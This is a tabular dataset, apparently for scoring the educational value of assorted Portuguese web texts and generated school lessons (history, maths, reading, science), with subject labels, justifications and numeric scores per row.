+Os principais problemas prendiam-se com um desfasamento entre a rede de instituições e programas de estudo que não correspondia às prioridades do Governo. Por isso, Portugal é apresentado como mau um exemplo de ""eficiência"", concluindo-se que o País tem uma rede de universidades e cursos que também não correspondem às necessidades da economia.
+Além disso, também o sistema de incentivos é criticado, nomeadamente o facto de ""a competição ser reduzida a limitadas oportunidades de promoção, nos topos das carreiras"". O estudo aponta ainda como pontos fracos a baixa qualificação do pessoal académico, devido ao reduzido número de doutorados, tal como a excessiva carga lectiva dos professores.
+Neste estudo foram considerados todos os países da União Europeia menos o Luxemburgo, que até há pouco tempo não tinha universidades, e ainda o Japão e os EUA, ""com quem os europeus gostam sempre de se comparar"", diz Miguel St. Aubyn.
+Segundo este investigador do ISEG, algumas razões para esta má classificação prende-se ""com o tempo que os alunos demoram a concluir os cursos quando não desistem mesmo a meio"". Além disso, salienta, o número de publicações científicas nos anos em análise foi bastante reduzido face ao número de docentes existente.
+Por outro lado, se Portugal aparecia em 11.º na relação entre pessoal académico por cada mil habitantes, já ao nível de licenciados por mil habitantes surgia em 22º. O mesmo lugar que ocupava na relação entre o número de licenciados o pessoal académico.
+Miguel St. Aubyn diz que outra das conclusões foi que, por norma, as universidades apresentam melhores resultados nos países em que o financiamento está dependente dos resultados. Algo que em Portugal não sucede.",original,original,original,original,2,0.4
+"2014 setembro 26 « Blog do Kuramoto
+setembro 26, 2014 Posted by Helio Kuramoto | Acesso Aberto, Acesso Livre, artigo, Política OA, Via Dourada	| Deixe um comentário",original,original,original,original,1,0.2
+"Você tem duas latas de tinta acetinada 'Azul Veneziano', uma rotulada para uso externo e outra rotulada para uso interno. Sim, ambos contêm o mesmo pigmento e têm o mesmo brilho, e sim, claro que ambos são tinta. Mas depois dessas duas semelhanças eles começam a diferir. Se faz anos desde que você assumiu um trabalho de pintura, as coisas mudaram no corredor de pintura. A química por trás dos componentes de pintura de hoje os ajusta para o uso pretendido, e tanto os fabricantes quanto os profissionais recomendam que você use cada lata conforme rotulado - tintas internas para dentro e tintas externas para fora.
+Primeiras coisas sobre a pintura: Existem dois tipos básicos de tinta para escolher, à base de água e à base de óleo. As tintas látex e acrílicas são à base de água, enquanto as tintas alquídicas são à base de óleo e ambas as tintas para interiorese pinturas exteriores vêm em ambos os tipos. Quando se trata de pintura externa, a base de óleo é melhor para resistir à sujeira, mas mais comumente a tinta látex à base de água é usada porque tende a ser pelo menos tão ou mais durável do que a base de óleo. Essas tintas para ambientes externos são mais adequadas para lidar com umidade, mudanças de temperatura e outros fatores externos, e não demoram tanto para secar quanto as alquídicas. As tintas formuladas para uso externo contêm aditivos que lhes conferem longevidade nos elementos - incluindo resistência a rachaduras e resistência à sujeira, bem como proteção contra os danos causados ​​​​pelos raios ultravioleta (UV). Muitos também têm mildewcide como aditivo.
+As tintas à base de água também são preferidas para pintura interna, e não apenas por causa dos vapores associados às tintas à base de óleo. Em vez de aditivos para reprimir a sujeira, a química da pintura interna destina-se a fazer com que a tinta resista melhor a arranhões, arranhões e aderência (por exemplo, ao redor das molduras das janelas). Ele também foi projetado para suportar limpezas (como remover a evidência de um respingo de molho de tomate ou esfregar a arte de uma criança pequena com um limpador alcalino).
+Os aditivos são apenas um dos quatro componentes básicos da tinta, e as tintas para interior e exterior diferem quando se trata dos outros três: pigmento, aglutinantes e líquidos.
+Diferenças entre os componentes de pintura interior e exterior
+Se você está realmente apaixonado pelo tom da sua pintura interna, sempre pode ter o mesmo tom misturado em uma fórmula externa.
+A falta de certos aditivos específicos do ambiente dá uma desvantagem às tintas para interiores quando usadas em superfícies externas, e a diferença entre as tintas formuladas para interior e exterior não termina aí. As diferenças começam a surgir quando você olha também para os outros três componentes básicos da tinta: pigmento, aglutinantes e líquidos.
+Vamos começar pelo pigmento, que é o que dá a cor a uma lata de tinta. Tintas para interiores podem conter pigmentos orgânicos para cor, e certos tipos de pigmentos orgânicos são conhecidos por desbotar significativamente se usados ​​em uma superfície externa; as fórmulas de pintura externa evitam esses pigmentos, aumentando o tempo necessário entre os projetos de pintura externa.
+Da mesma forma, as tintas são formuladas com aditivos conhecidos como ligantes, que são usados ​​para unir o pigmento e fornecer adesão à superfície pintada. Como as tintas externas precisam de mais ajuda para combater os efeitos adversos do meio ambiente, os aglutinantes usados ​​em formulações adequadas para ambientes externos conferem à tinta resistência a problemas de integridade, como rachaduras e escamação, além de maior controle de umidade. Em vez disso, os ligantes de tinta interna podem oferecer melhor resistência à abrasão, o que não é necessariamente uma qualidade muito necessária na pintura externa.
+As tintas internas e externas também diferem quando se trata dos tipos de líquidos usados. De acordo com as diretrizes federais, as tintas para interior...",original,original,original,original,4,0.8
+"Mais de 90% das pessoas têm pelo menos algum tipo de dor de cabeça ao longo da vida, sendo que quase 50% têm pelo menos um episódio de dor de cabeça muito intensa.
+Dor de cabeça ou cefaléia, como é chamada no jargão médico, é uma das queixas mais comuns nos ambulatórios e consultórios médicos. Na maior parte dos casos trata-se de uma condição benigna e ocasional. No entanto, há casos em que as dores de cabeça são muito intensas e recorrentes, causando significativo impacto psicológico, social ou sobre a atividade profissional, ou ainda situações em que a cefaléia é um sintoma de algum problema médico mais grave.
+Existem dezenas de tipos de dor de cabeça, alguns bem conhecidos pela população geral, embora outros não. De modo geral, as cefaléias podem ser divididas em dois grandes grupos, as cefaléias primárias e as cefaléias secundárias. As cefaléias primárias são assim chamadas por não estarem associadas a lesões específicas do cérebro ou de estruturas adjacentes, enquanto o segundo grupo inclui formas de dor de cabeça secundárias a algum tipo de dano estrutural. No primeiro grupo estão as causas mais comuns de dor de cabeça, como a cefaléia tensional e a migrânea ou enxaqueca.
+A cefaléia tensional é o tipo mais frequente de dor de cabeça. Sua duração pode variar de 30 minutos até sete dias. Há uma sensação de pressão ou ""aperto"" que geralmente acomete toda a cabeça (dos dois lados), mas que pode afetar mais a testa ou a nuca, chegando por vezes a atingir a região posterior do pescoço ou os ombros. A intensidade da dor é de leve a moderada e vai se acentuando ao longo do dia. Não causa vômitos, mas náuseas podem eventualmente ocorrer. Muitas pessoas relatam associação da dor de cabeça com tensão emocional ou estresse.
+A migrânea ou enxaqueca é outro tipo bastante comum de cefaléia primária. As características fundamentais da migrânea são: dor de cabeça geralmente unilateral (embora possa acometer os dois lados da cabeça), de tipo latejante ou pulsátil, com intensidade moderada a forte e duração de quatro até 72 horas. Além disso, no período de dor deve estar presente pelo menos um dos seguintes sintomas: náuseas, vômitos, intolerância à luz (fotofobia) ou ao som (fonofobia). A dor de cabeça piora com atividade física, o que não ocorre na cefaléia tensional. Alimentos ou odores específicos podem desencadear crises de migrânea.
+Algumas pessoas com migrânea podem ter sintomas que precedem o início da dor de cabeça, com duração de cinco minutos até uma hora, e que são chamados de aura. Alterações visuais (manchas, linhas, luzes ou mesmo perda visual), formigamento de alguma parte do corpo e dificuldade para falar são alguns dos tipos de aura.
+O diagnóstico da cefaléia tensional, da migrânea e das demais cefaléias primárias depende fundamentalmente de uma boa avaliação médica, especialmente de uma história clínica detalhada. Exames de tomografia computadorizada ou de ressonância magnética não definem estes diagnósticos, servindo apenas para descartar outras causas de dor de cabeça, sobretudo as cefaléias secundárias.
+Vale ressaltar alguns sintomas ou aspectos sugestivos de cefaléia secundária e que exigem a realização de exames complementares:
+- Dor de cabeça de início muito agudo (""explosivo"") - Febre - Rigidez de nuca - História de traumatismo de crânio recente - Piora da dor de cabeça ao deitar - Não melhora com analgésicos comuns - Déficit neurológico associado (por exemplo, fraqueza em um lado do corpo, dificuldade para falar)
+O tratamento das cefaléias varia conforme a causa, incluindo medicamentos (tanto para as crises quanto para prevenção), intervenções não medicamentosas e orientações a respeito de hábitos de vida. O uso indiscriminado e abusivo de medicamentos, especialmente de analgésicos, é muito comum e pode piorar a dor de cabeça, sobretudo a migrânea. É fundamental que uma pessoa com cefaléia recorrente busque atendimento médico, idealmente com um neurologista clínico, para que receba o diagnóstico correto e o trata...",original,original,original,original,4,0.8
+"Você já parou para pensar em quem vivia no Brasil antes da chegada dos portugueses? E o que aconteceu com essas pessoas? A resposta nos leva aos povos indígenas, os habitantes originários do nosso país. Estudar a história dos povos indígenas não é apenas olhar para o passado, mas entender o presente e construir um futuro mais justo e igualitário para todos. 
+
+Antes da chegada dos europeus, o Brasil era habitado por uma grande diversidade de povos indígenas, cada um com sua própria cultura, língua, costumes e organização social. Imagine um mapa do Brasil todo colorido, com cada cor representando um povo diferente, como os Tupi, os Guarani, os Yanomami, os Xavante, entre muitos outros. Cada um desses povos tinha um jeito único de viver, de se relacionar com a natureza e de transmitir seus conhecimentos de geração em geração. Eles eram, e ainda são, grandes conhecedores da floresta, dos rios e dos animais, e utilizavam esses recursos de forma sustentável, ou seja, sem esgotá-los. 
+
+Com a chegada dos portugueses em 1500, a vida dos povos indígenas mudou drasticamente. Eles foram forçados a trabalhar para os colonizadores, suas terras foram tomadas e suas culturas foram desrespeitadas. Muitos morreram em decorrência de doenças trazidas pelos europeus, para as quais não tinham defesa. Apesar de toda essa violência, os povos indígenas resistiram e continuam resistindo até hoje. Eles lutam por seus direitos, pela demarcação de suas terras, pelo respeito à sua cultura e pela preservação do meio ambiente. 
+
+Hoje em dia, existem diversas comunidades indígenas espalhadas por todo o Brasil, cada uma com suas próprias tradições e desafios. Alguns vivem em terras demarcadas, onde podem preservar sua cultura e seus costumes, enquanto outros vivem em áreas urbanas, buscando novas oportunidades e lutando contra o preconceito. É importante lembrar que os povos indígenas não são um grupo homogêneo. Assim como nós, cada indígena é um indivíduo único, com suas próprias opiniões, sonhos e desejos. 
+
+Ainda existe muito preconceito e desinformação sobre os povos indígenas. Muitas vezes, eles são retratados de forma estereotipada, como se fossem todos iguais e vivendo da mesma forma. É fundamental que a gente aprenda a valorizar a diversidade cultural dos povos indígenas e a reconhecer sua importância para a história e a identidade do Brasil. Que tal pesquisar sobre um povo indígena específico e descobrir mais sobre sua cultura, seus costumes e seus desafios? Ou então, assistir a um filme ou ler um livro que retrate a vida dos indígenas de forma autêntica e respeitosa? Ao fazer isso, você estará contribuindo para construir um futuro mais justo e igualitário para todos.",História,Povos indígenas,anos finais (6º ao 9º ano),"O trecho apresenta informações relevantes sobre os povos indígenas do Brasil, abordando sua diversidade cultural, a vida antes e depois da chegada dos portugueses, e a luta por seus direitos. A linguagem é acessível e adequada para o ensino fundamental, incentivando a pesquisa e o respeito à cultura indígena. O texto contribui para a construção de um futuro mais justo e igualitário, além de estar alinhado com os parâmetros curriculares.",5,1.0
+"Ousadia é com ela mesmo! Geisy Arruda apareceu poderosa nesta quinta-feira (11) ao posar com uma amiga na Praia do Futuro, no Ceará.No clique, a dupla aproveita um banho de piscina e Geisy ostenta o corpão em um maiô sexy e inusitado. Com as laterais vazadas, o modelo deixa boa parte das costas à mostra, com apenas três tirinhas que ligam a parte frontal com a traseira. Uau!",original,original,original,original,0,0.0
+"Trompete/Sereia Amada Sweep/Brush trem Tecido de seda Vestido de festa com Frente aberta (017014435) - JennyJoseph
+Trompete/Sereia Amada Sweep/Brush trem Tecido de seda Vestido de festa com Frente aberta (017014435)
+Repondido por JennyJoseph 2013-07-16 01:57:28
+Repondido por JennyJoseph 2013-07-12 00:34:50
+Repondido por JennyJoseph 2012-11-04 01:02:45
+Trompete/Sereia Um ombro Sweep/Brush...R$ 605,69
+De baile Decote quadrado Longos Tule...R$ 644,04
+Frente aberta Vestidos de festa,",original,original,original,original,1,0.2
+"Olá, pequenos exploradores da matemática! Já pararam para pensar que o mundo está cheio de desafios esperando para serem resolvidos? E adivinhem? A matemática é uma ferramenta incrível para nos ajudar nessa jornada! Hoje, vamos aprender juntos como desvendar esses mistérios, transformando problemas em diversão e aprendizado.
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+Imagine que você está planejando uma festa de aniversário. Você tem 20 convidados e quer dar 3 balões para cada um. Quantos balões você precisa comprar? Esse é um problema matemático! E para resolvê-lo, precisamos seguir alguns passos simples. Primeiro, vamos entender o que o problema está nos pedindo: o número total de balões necessários. Depois, vamos pensar em como podemos chegar à resposta. Nesse caso, podemos multiplicar o número de convidados (20) pelo número de balões por convidado (3): 20 x 3 = 60. Então, você precisa comprar 60 balões!
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+Outro exemplo: imagine que você tem uma caixa com 35 brinquedos e quer dividir igualmente entre você e seus 4 amigos. Quantos brinquedos cada um vai receber? Aqui, o problema pede para dividirmos o total de brinquedos (35) entre o número de pessoas (você + 4 amigos = 5 pessoas). Então, dividimos 35 por 5: 35 ÷ 5 = 7. Cada um receberá 7 brinquedos!
+
+A chave para resolver problemas é ler com atenção, identificar as informações importantes e escolher a operação matemática correta: adição (+), subtração (-), multiplicação (x) ou divisão (÷). E não tenham medo de errar! O erro faz parte do aprendizado. Se a resposta não parece fazer sentido, volte e revise seus cálculos.
+
+Resolver problemas não é apenas sobre números e contas. É sobre usar a lógica, o raciocínio e a criatividade para encontrar soluções. E essa habilidade é super útil não só na escola, mas em todas as áreas da vida! Pensem em como usar a matemática para planejar uma viagem, calcular o tempo para fazer um bolo ou até mesmo organizar seus brinquedos. As possibilidades são infinitas!
+
+Então, da próxima vez que encontrarem um problema, não se assustem! Encarem como um desafio divertido e usem a matemática como sua aliada. Com prática e paciência, vocês se tornarão verdadeiros mestres na arte de resolver problemas. E lembrem-se: a matemática está em todo lugar, esperando para ser descoberta e usada para tornar o mundo um lugar ainda mais interessante!
+
+Que tal agora tentarem resolver este desafio: Você tem 12 figurinhas e quer colar em um álbum que tem espaço para 4 figurinhas por página. Quantas páginas do álbum você vai usar?
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+Divirtam-se explorando o mundo da matemática!",Matemática,Resolução de problemas,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo a resolução de problemas matemáticos de forma lúdica e contextualizada para o cotidiano das crianças. Explica conceitos básicos como multiplicação e divisão através de exemplos práticos, incentivando o raciocínio lógico e a aplicação da matemática em situações reais. A linguagem é acessível e motivadora, adequada para o ensino fundamental, e o texto culmina com um desafio, promovendo a prática e o engajamento dos alunos.",5,1.0
+"A mobilização para a 10ª edição da Bienal da UNE não para. No próximo domingo (22) é a vez da Universidade Federal de Santa Maria (UFSM), no Rio Grande do Sul, preparar uma pré-bienal com muita arte, cultura, rodas de discussão e exposições. O evento acontece a partir das 16h, no espaço multiuso da universidade.
+Aleff Fernando, diretor de combate ao racismo da UEE-Livre RS e estudante da UFSM conta que a pré-bienal acontecerá em dois momentos. Primeiro uma roda de discussão sobre arte e cultura do município de Santa Maria e depois saraus e intervenções artísticas.",original,original,original,original,1,0.2
+"Alguns dos textos aqui contidos são de cariz sexual e só devem ser lidos por maiores de 18 anos e por quem tiver uma mente aberta. Se sentir algum tipo de desconforto com isso ou se não tiver os 18 anos ou mais, por favor SAIA agora.",original,original,original,original,0,0.0
+"Lembro-me de ter questionado o que se poderia achar de fascinante num Deserto?!… no meu imaginário persistia a ideia, de uma extensão enorme de areia partilhada por homens “primitivos”, com vestes longas, rostos ressequidos, cavalgando sobre uns animais desengonçados e com umas bossas… enfim, uns “pobres – diabos”!…
+No ano passado, mais concretamente em Setembro de 2003, tive oportunidade de integrar uma expedição de um grupo de amigos das Grandes Expedições do Fórum – TT, cujo destino era a Mauritânia!
+Os meses que nos separavam da partida, curiosamente voaram…entre formalidades de vistos, alterações nas viaturas, consultas de prevenção à Malária (não fossem aqueles insectos, a que damos o nome de Mosquitos, fazerem das suas…), pertenciam ao passado.
+Quando me apercebi, já estava do outro lado do estreito. O ar enchia-se de uma tagarelice incessante, música, risos… emanava uma atmosfera de mistério, fumo de fritar que pairava no ar, como se fosse nevoeiro…mercados estreitos, escuros, multidões densas que nos impossibilitavam a aproximação aos comerciantes…mulheres berberes envolvidas em lenços coloridos tapando parte do rosto, deixando apenas os olhos de fora…sentia-me embriagada, por tanta beleza. Esforçava-me para fotografar visualmente tudo o que me rodeava… não havia palavras para exprimir o que sentia.
+No entanto no meio de tanto êxtase, as palavras de “Théodore Monod” (1), pareciam-me estranhas!…face a tanto fascínio, como é que poderia haver algo que nos apaixonasse ainda mais?!….repetia inúmeras vezes as suas palavras “apaixonamo-nos pelo deserto”, procurando encontrar algum significado.
+A expedição decorria normalmente. Passámos Marrocos, Sahara Ocidental e eis que finalmente estávamos na Mauritânia (“terra dos Mouros”, em latim)!…Este país do noroeste da África é o único controlado por povos tradicionalmente nómadas. Grande parte da sua área ( 1 030 700 Km ), é ocupada pelo deserto do Sahara.
+O primeiro contacto foi de desconsolo total. Não havia nada!…a fronteira não passava de um amontoado de lata, onde alguns homens mal trajados tentavam impor a autoridade local. É o que têm!…
+O meu coração batia aceleradamente à medida que me embrenhava nas entranhas de um País que não tem mais do que 3 000 000 habitantes, dos quais 400 000 são nómadas.
+Continuámos a avançar em território Mauritano. Parávamos ao meio dia sob a protecção das acácias, almoçávamos e permanecíamos ali durante algum tempo. Depois, lá prosseguíamos contemplando a variedade e beleza da paisagem Africana!…
+Crianças permaneciam à beira da estrada, vestidas com trapos e de aparência desesperada e perdida. Vi homens silenciosos a observar-nos, sem se mexerem. Vi mulheres com crianças às costas, no meio do nada. Passámos por aldeias, deixando homens, mulheres e crianças a sufocar na nossa poeira…
+O riso das crianças, os brinquedos, as vestes coloridas a contrastar com os amontoados de lixo!…sentia-me exausta pelo calor e pelos solavancos contínuos daqueles trilhos de terra.
+Finalmente Zouerat!…o Hotel era fantástico e vinha preencher as privações dos últimos dias.
+Jantámos, conversámos e a boa disposição acompanhou-nos até bastante tarde. O dia seguinte não seria mais um…seria o principio da atravessia do deserto do Maqteir!
+Acordei!…finalmente o grande dia…enchemos depósitos, água e combustível, acautelámos provisões e ligamos os motores, fizemos – nos à pista.
+Andámos e andámos, mas parecia que nunca lá chegávamos… O céu estendia-se num enorme círculo sobre nós; não havia limites para ele nem limites para o calor…as pistas eram irregulares… areia fofa alternada com pedra…a ansiedade aumentava!
+Desligámos o motor dos carros e o silêncio cercou-nos como o sono. O deserto estava silencioso, ouvindo-se apenas o vento vazio.
+É impressionante!… consegue avistar-se tão longe que parece levar uma eternidade passar por qualquer coisa… a sua solidão!…
+Ziguezagueávamos, tentando evitar os montículos de erva camelo onde saltam as rodas, fazendo bater e gemer os amort...",original,original,original,original,2,0.4
+"A fidelidade é um dos deveres do casamento e da união estável, prevista expressamente no artigo 1.566, I do Código Civil, corolário do estabelecimento da comunhão plena de vida, também com previsão no Código Civil, art. 1.511.
+A infidelidade virtual caracteriza-se por um relacionamento virtual, praticado por pessoa casada ou que vive em união estável, mas que provoca os mesmos efeitos da infidelidade real, gerando, em muitos casos, o fim do relacionamento. Portanto, embora sem contato físico, a cyber traição também é considerada infidelidade e pode gerar efeitos reais.
+Hoje, não se discute mais a culpa pelo fim do casamento ou da união estável. Portanto, não há mais necessidade, por exemplo, em se provar o adultério para por fim ao casamento ou a união estável.
+No entanto, o descumprimento dos deveres do casamento ou da união estável, seja real ou virtual, pode implicar lesão aos direitos da personalidade e à dignidade da pessoa humana, configurando dano moral passível de ser indenizado, pois a fidelidade é efeito ético do casamento e da união estável, tendo, portanto, forte carga moral.
+Assim, havendo prova da infidelidade, poderá haver indenização por danos morais.
+No que diz respeito à infidelidade virtual, eventuais provas não poderão ser obtidas por meio ilícito, invadindo, por exemplo, os aparelhos de uso pessoal do cônjuge ou do companheiro. A prova deverá ser obtida de aparelhos de uso comum do casal ou da família. Isso porque, embora seja tema bastante controverso, quando há violação à correspondência, gravação de telefonemas, abertura de e-mails, mensagens de aplicativos, etc, do cônjuge/companheiro, sem seu consentimento, as provas serão inválidas, uma vez que a legislação brasileira considera ilícita a prova obtida clandestinamente.
+Evidente que cada caso deverá ser avaliado, para verificar as provas apresentadas, inclusive sua licitude, e se estão presentes os pressupostos da responsabilidade civil. Porém, uma vez comprovada a infidelidade, o Juiz analisará as consequências causadas à vítima, assim como a intensidade do constrangimento e da dor sofrida, para estabelecer qual foi a extensão do dano e, assim, de acordo com as condições econômicas do ofensor, arbitrar o valor da indenização.",original,original,original,original,2,0.4
+"Se você está aqui é porque deseja saber se Hialuroni Caps funciona mesmo e se é capaz de te ajudar a ter uma aparência mais jovem. Nos últimos dias recebi milhares de mensagens de seguidoras (e seguidores) procurando saber a respeito de Hialuroni Caps: o produto é mesmo capaz de acabar com as rugas, pés […]
+Tags Hialuroni Caps Fórmula, Hialuroni Caps Mercado Livre, Hialuroni Caps Modo de Uso, Hialuroni Caps Valor",original,original,original,original,1,0.2
+"Agosto: o mês dedicado às vocações | Unicatólica Quixadá - Blog
+Unicatólica Quixadá - Blog / PASTORAL UNIVERSITÁRIA / Agosto: o mês dedicado às vocações
+Neste mês de agosto, a Igreja celebra as vocações: sacerdotal, familiar, religiosa e leiga. É um mês voltado para a reflexão e a oração pelas vocações e ministérios, de forma a pedir a Deus cristãos que sejam verdadeiros sinais de comunhão e unidade no seio da Igreja. “Não foste vós que me escolhestes, fui eu que vos escolhi…” (Jo 15, 16). Instituído na XIX Assembleia Geral da Conferência Nacional dos Bispos do Brasil (CNBB) em 1981, o Mês Vocacional tem como objetivo conscientizar as comunidades da responsabilidade que elas compartilham no processo vocacional. A Igreja tem buscado celebrar este mês com animação e criatividade, suscitando novas vocações e animando as já existentes.
+Durante o mês, cada domingo é reservado para a reflexão e celebração de uma vocação. No primeiro domingo – vocações sacerdotais, os sacerdotes (bispos e padres) agem em nome de Cristo e são representantes dentro das comunidades. Aos sacerdotes compete serem pastores e pais espirituais para todos sob as suas responsabilidades. Pela caridade pastoral, eles devem buscar serem sinal de unidade e contribuir para a edificação e crescimento das comunidades de forma que elas se tornem cada vez mais atuantes e verdadeiras na vivência do Evangelho.
+No segundo domingo – vocação familiar, celebramos a vocação da família nas pessoas do pai e da mãe. Em tempos de violência e perda de valores, a valorização da família é essencial para a sociedade como um todo. A família é chamada, por Deus, a ser testemunha do amor e da fraternidade, colaboradora da obra da Criação. O pai e a mãe na família são fundamentais, seus papéis de educadores são pilares da unidade e bem-estar familiar cujos frutos são filhos bem formados e conscientes do que significa ser cristão e cidadãos. Os pais são representantes legítimos de Deus perante os filhos e é sua missão conduzi-los nos caminhos de Cristo, da verdade, da justiça e da paz.
+No terceiro domingo – vocações religiosas, a Igreja lembra dos religiosos, homens e mulheres que consagram suas vidas a Deus e ao próximo. Desta vocação brotam carismas e atuações que enriquecem nossas comunidades com pessoas que buscam viver verdadeiramente seus votos de pobreza, castidade e obediência, são testemunhas vivas do Evangelho. Perseverantes, os religiosos estão a serviço do Povo de Deus por meio da oração, das missões da educação e das obras de caridade, com sua vida consagrada, eles demonstram que a vida evangélica é plenamente possível de ser vivida mesmo em um mundo excessivamente material e consumista. São sinais do amor de Deus e da entrega que o homem é capaz de fazer ao Senhor.
+No quarto domingo – vocações leigas, celebramos todos os leigos que entre família e afazeres, dedicam-se aos trabalhos pastorais e também missionários. Os leigos atuam como colaboradores dos padres na catequese, na liturgia, nos ministérios de música, nas obras de caridade e nas diversas pastorais existentes. Ser leigo atuante é ter consciência do chamado de Deus a participar ativamente da Igreja e do Reino contribuindo para a caminhada e o crescimento das comunidades rumo a Pátria Celeste, assumir esta vocação é doar-se pelo Evangelho e estar junto a Cristo em sua missão de salvação.",original,original,original,original,3,0.6
+"Olá, exploradores do conhecimento! Já pararam para pensar no poder que as palavras carregam? Elas nos transportam para outros mundos, nos apresentam personagens incríveis e nos ensinam lições valiosas. Dominar a arte da leitura e interpretação é como ter uma chave mágica que abre portas para infinitas possibilidades.
+
+Imagine que você encontrou um mapa do tesouro, mas ele está escrito em uma língua que você não conhece. Para encontrar o tesouro, você precisa aprender a decifrar o mapa, certo? A leitura e a interpretação funcionam de maneira parecida. Ler é decifrar o código das letras e palavras, enquanto interpretar é entender o que o autor quis nos dizer com aquele texto.
+
+No nosso dia a dia, somos constantemente bombardeados por textos: notícias, posts nas redes sociais, mensagens dos amigos, livros, filmes… A habilidade de ler e interpretar bem esses textos nos ajuda a tomar decisões mais informadas, a entender o mundo ao nosso redor e a expressar nossas próprias ideias com clareza. Por exemplo, ao ler uma notícia sobre um problema ambiental, podemos entender a gravidade da situação e pensar em maneiras de ajudar a resolver o problema.
+
+Mas como se tornar um mestre na leitura e interpretação? A primeira dica é: pratique! Quanto mais você lê, mais familiarizado você se torna com diferentes estilos de escrita e vocabulários. Comece com textos que te interessem, como histórias em quadrinhos, revistas sobre seus hobbies ou livros de aventura. Depois, desafie-se com textos mais complexos, como artigos de opinião ou notícias sobre temas importantes. A segunda dica é: seja curioso! Não tenha medo de perguntar o significado de palavras que você não conhece. Use um dicionário ou pesquise na internet. Quanto mais você expande seu vocabulário, mais fácil fica entender os textos.
+
+A terceira dica é: preste atenção aos detalhes! Ao ler um texto, observe como as frases estão construídas, como os parágrafos estão organizados e como as ideias estão conectadas. Tente identificar o tema principal do texto e as ideias secundárias que o sustentam. Imagine que você está montando um quebra-cabeça: cada peça (palavra, frase, parágrafo) tem um lugar específico e contribui para a formação da imagem final.
+
+E lembre-se: ler e interpretar não é apenas decodificar palavras, mas sim construir significados. Ao ler um livro, por exemplo, tente se colocar no lugar dos personagens, imagine os cenários e reflita sobre as mensagens que o autor está transmitindo. Qual a relação do texto com a sua vida? O que você aprendeu com ele?
+
+Então, preparem-se para essa jornada! A cada texto que vocês leem e interpretam, vocês se tornam mais fortes, mais inteligentes e mais preparados para enfrentar os desafios do mundo. A leitura é uma aventura sem fim, e cada página é um novo tesouro a ser descoberto. Agora, que tal pegar um livro e começar a explorar?",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por apresentar alto valor educacional, sendo perfeitamente adequado para o ensino fundamental. Utiliza uma linguagem acessível e motivadora para introduzir a importância da leitura e interpretação textual. Apresenta dicas práticas e relevantes para o desenvolvimento dessas habilidades, incentivando a curiosidade e a reflexão crítica. O texto é claro, consistente e coerente, oferecendo insights valiosos para o aprendizado estruturado.",5,1.0
+"Currículo na Educação Integral
+Há distintas concepções de currículo, associadas a diferentes formas de se conceber a educação. De maneira geral, pode-se afirmar que currículo é a seleção cultural de determinados conhecimentos e práticas de ensino-aprendizagem que, produzidos em contextos históricos determinados, procuram garantir aos educandos o direito à riqueza de conhecimentos e de cultura produzidos socialmente.
+Na perspectiva da educação integral, o currículo alça contemplar o desenvolvimento de todas as potencialidades, ou dimensões formativas, dos sujeitos, considerando não apenas os aspectos intelectuais dos estudantes, mas também os afetivos, corporais, simbólicos e éticos.
+Currículo como construção cultural
+As teorias do currículo empenham-se em responder perguntas sobre o conhecimento a ser ensinado aos estudantes e o tipo de ser humano desejável para um determinado tipo de sociedade. Como apontado pelos pesquisadores Antônio Flávio Moreira e Tomaz Tadeu no livro ""Currículo, cultura e sociedade"", embora questões relacionadas ao ""como"" do currículo continuem importantes, elas só ganham sentido quando relacionadas ao ""porquê"" das formas de organização do conhecimento escolar.
+Nesse sentido, o currículo, como construção cultural, está sempre vinculado a formas específicas de organização da sociedade e da educação, e não pode ser compreendido como um campo neutro, ou algo estático. Para o educador espanhol José Sacristán, é antes o resultado de um equilíbrio de interesses e forças que gravitam sobre o sistema educativo em um determinado momento, configurando-se como o reflexo de um determinado projeto de cultura e de socialização.
+Grande parte do currículo muitas vezes não é explicitada em planos e propostas, mas surte forte efeito na escola, na medida em que se traduz em atitudes e valores transmitidos pelas relações sociais e pelas rotinas do cotidiano escolar. É o chamado currículo oculto. Fazem parte do currículo oculto, relações hierárquicas, regras e procedimentos, formas de distribuir os estudantes por grupamentos e turmas, visões transmitidas por livros didáticos, entre outros.
+Entretanto, seja qual for a concepção de currículo adotada, não há dúvidas de sua importância. É por intermédio do currículo que todos os esforços pedagógicos acontecem na escola.
+E, nessa perspectiva, a Educação Integral problematiza o currículo na medida em que recoloca o estudante na centralidade dos processos educativos e ambiciona contemplar suas diferentes dimensões formativas, levando em consideração a ampliação de tempos, espaços e agentes educativos. Ao buscar a integração dos saberes acadêmicos aos saberes locais, oriundos do território onde vivem esses estudantes, põe-se em cheque a fragmentação cartesiana de conteúdos, representada por matérias ou disciplinas, e volta-se para uma dimensão integral do conhecimento a ser produzido.
+Dessa forma, vale lembrar que o currículo na Educação Integral não corresponde em nenhuma medida à justaposição do currículo de turno regular ao currículo de turno expandido, mas sim à reorientação estrutural de todo o processo de ensino-aprendizagem, de forma que elementos significativos da vida dos estudantes e de suas comunidades possam ser os articuladores dos diversos campos de conhecimento acionados nas práticas pedagógicas escolares. Como aponta o educador espanhol Miguel Arroyu, o currículo da educação integral dialoga com a vida:",original,original,original,original,4,0.8
+"Já parou para pensar como a vida na Terra é uma grande teia, onde cada ser vivo depende um do outro? Hoje, vamos explorar essa conexão fascinante entre animais e plantas, e como nós, seres humanos, fazemos parte disso! Imagine uma floresta tropical: macacos se alimentam de frutas, que foram produzidas pelas árvores. As árvores, por sua vez, precisam dos macacos para espalhar suas sementes, garantindo que novas árvores cresçam. É uma parceria incrível, não é mesmo? Essa relação de dependência é chamada de interdependência, e está presente em todos os ecossistemas, desde oceanos até desertos. As plantas são como as cozinheiras da natureza. Elas realizam um processo mágico chamado fotossíntese, utilizando a luz do sol, água e gás carbônico para produzir seu próprio alimento e, de quebra, liberam o oxigênio que respiramos. Já os animais, são consumidores. Eles se alimentam das plantas ou de outros animais, obtendo a energia que precisam para viver. Mas e nós, seres humanos? Bem, somos parte importante dessa teia. Nos alimentamos de plantas e animais, utilizamos recursos naturais para construir nossas casas e produzir energia. Por isso, é fundamental que cuidemos do meio ambiente, garantindo que as plantas e os animais continuem a prosperar. A destruição de florestas, a poluição da água e do ar, e a caça ilegal de animais são ameaças à interdependência. Quando prejudicamos um elemento dessa teia, todos os outros também sofrem as consequências. Pense na sua alimentação: de onde vem o arroz, o feijão, a carne que você come? Cada um desses alimentos tem uma história, uma jornada que envolve plantas, animais e o trabalho de muitas pessoas. Agora, imagine se as abelhas desaparecessem... Elas são responsáveis por polinizar muitas das frutas e vegetais que consumimos. Sem as abelhas, nossa 